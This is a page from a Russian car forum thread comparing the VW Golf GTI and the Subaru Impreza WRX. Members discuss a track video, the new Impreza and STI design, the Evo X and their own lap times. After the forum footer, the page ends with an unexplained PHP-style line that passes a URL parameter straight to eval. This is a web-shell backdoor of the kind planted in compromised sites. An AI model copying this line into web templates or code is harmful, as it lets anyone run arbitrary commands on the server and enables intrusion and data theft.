+ Ответить в теме
Страница 1 из 3 1 2 3 ПоследняяПоследняя
Показано с 1 по 10 из 25

Тема: GTI vs. WRX


Комбинированный просмотр

  1. #1
    GTI-Racing chess is on a distinguished road Аватар для chess
    Регистрация
    29.11.2006
    Откуда
    москвабад
    Машина
    CTR ЕК9, MPS K90, vw polo 6r
    Сообщений
    1,603
    Очень неожиданный для меня результат:
    <span style="font-family:Franklin Gothic Medium"><span style="color:#ff0000"><u><span style="font-size:14pt;line-height:100%">ВИДЕО</span></u></span></span>
    Неожиданно приятный.
    каждому своё
    АДМ GTI mkV st1.5 - 2.01.084
    АДМ Civic Type-R EK9 - 1.57.683
    Смоленск Civic Type-R EK9 - 1.47.690
    Нижний Новгород Civic Type-R EK9 - 1.53.472
    Казань Civic Type-R EK9 - 1.43.187
    MRW Civic Type-R EK9 - 2.01.663

  2. #2
    <div class='quotetop'>Цитата(chess &#064; Mar 18 2008, 22&#58;50) <{POST_SNAPBACK}></div><div class='quotemain'>Очень неожиданный для меня результат:
    <span style="font-family:Franklin Gothic Medium"><span style="color:#ff0000"><u><span style="font-size:14pt;line-height:100%">ВИДЕО</span></u></span></span>
    Неожиданно приятный.[/b][/quote]
    ты прав. все неожиданно. полный привод имеет плюс если плохой контакт с дорогой. на хорошей трассе как на видео, важна моментная хар-ка мотора, а она у ТФСИ лучше некуда.

  3. #3
    ничего удивительного. субару с новой импрезой обоср%лась по полной программе. не удивлюсь если через пару лет обанкротившуюся компанию купит какой нить китайский Грейт Волл)))

  4. #4
    <div class='quotetop'>Цитата(Fresco FSI &#064; Mar 19 2008, 00&#58;38) <{POST_SNAPBACK}></div><div class='quotemain'>не удивлюсь если через пару лет обанкротившуюся компанию купит какой нить китайский Грейт Волл)))[/b][/quote]
    Как не смешно, но с выпуском новой импрезы субару побила все свои предыдущие рекорды продаж

    А так жесть конечно, проиграть больше 2х секунд на полном приводе в условиях слегка мокрой трассы машине с меньшим соотношением массы это сильно. Да и тётечка вроде бы не лох-пилот, у нее есть послужной список в европейских кольцевых чемпах.

  5. #5
    GTI-Racing total is on a distinguished road Аватар для total
    Регистрация
    05.12.2006
    Машина
    MkV GTI
    Сообщений
    1,146
    <div class='quotetop'>Цитата(vadII &#064; Mar 19 2008, 18&#58;19) <{POST_SNAPBACK}></div><div class='quotemain'>Как не смешно, но с выпуском новой импрезы субару побила все свои предыдущие рекорды продаж [/b][/quote]

    канеш, с мазды содрали:-))) поэтому и продается
    Time attack
    Mkv gti
    ADM - 1.58,4
    Лидер - 1.02,5
    DC2
    ADM - 1.58,2
    Лидер - 1.01,2
    Smolenskring - 1.48,2
    NNRing - 1.53,8
    Kazanring - 1.43.863

  6. #6
    Чушь какаето. Япошки во всех тестах признают новую Субу идеальным авто. WRX STI нового покаления на кольце объехала всех конкурентов, стартавав последней&#33;

  7. #7
    <div class='quotetop'>Цитата(total &#064; Mar 19 2008, 19&#58;27) <{POST_SNAPBACK}></div><div class='quotemain'>канеш, с мазды содрали:-))) поэтому и продается[/b][/quote]
    Да еще и при том что мазда3, несмотря на уже кучу лет, намного выигрышнее смотрится как внутри так и снаружи

  8. #8
    <div class='quotetop'>Цитата(maxxis &#064; Mar 19 2008, 19&#58;31) <{POST_SNAPBACK}></div><div class='quotemain'>Чушь какаето. Япошки во всех тестах признают новую Субу идеальным авто.[/b][/quote]
    "Идеального авто ваабще" не существует Уж не знаю что за тесты, но в бестмоторинге тачка №1 - это цивик тупер седан (с многорычажкой сзади) - во всех выпусках на нём едут и даже с суперкарами его выставляют

    <div class='quotetop'>Цитата(maxxis &#064; Mar 19 2008, 19&#58;31) <{POST_SNAPBACK}></div><div class='quotemain'>WRX STI нового покаления на кольце объехала всех конкурентов, стартавав последней&#33;[/b][/quote]
    Всех конкурентов это EvoX, EvoIX и предыдущих СТИ? Ну там: 1. за рулем Тсучия был - а это уже почти успех, 2. новый сти по ТТХ, да, следующий шаг - меньший вес, изменение фаз на выпуске в движке, меньшая длина авто, бОльшая база, бОльшая жесткость. 3. С ево10 митсу облажались больше чем суба с новой импрезой. Но, самое главное, причем тут СТИ, если сравнивали ВРХ и ГТИ )

  9. #9
    <div class='quotetop'>Цитата(vadII &#064; Mar 19 2008, 21&#58;10) <{POST_SNAPBACK}></div><div class='quotemain'>"Идеального авто ваабще" не существует [/b][/quote]
    они существуют у каждого водилы индивидуально в голове)

    <div class='quotetop'>Цитата(vadII &#064; Mar 19 2008, 21&#58;10) <{POST_SNAPBACK}></div><div class='quotemain'>Всех конкурентов это EvoX, EvoIX и предыдущих СТИ? Ну там: 1. за рулем Тсучия был - а это уже почти успех, 2. новый сти по ТТХ, да, следующий шаг - меньший вес, изменение фаз на выпуске в движке, меньшая длина авто, бОльшая база, бОльшая жесткость. 3. С ево10 митсу облажались больше чем суба с новой импрезой. Но, самое главное, причем тут СТИ, если сравнивали ВРХ и ГТИ )[/b][/quote]

    пля мои мысли читаешь. слово в слово хотел тоже самое написать)

  10. #10
    вообще с дизайном самый большой косяк вышел имхо. я уважал субу и эвиков. и для меня они всегда были и остаются седанами (&#33;&#33;) с одной большой банкой сзади. а то что сейчас вообще хрен знает что сделали. сти - хэтчбэк ( зачем ??) с 15 тыщ выхлопных труб сзади, а новом эвике так и видится мамаша с кучами пакетов из супермаркета. обидно товарищи...

    p.s. а суба 22B вообще произведение искусства.

+ Ответить в теме
Страница 1 из 3 1 2 3 ПоследняяПоследняя

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}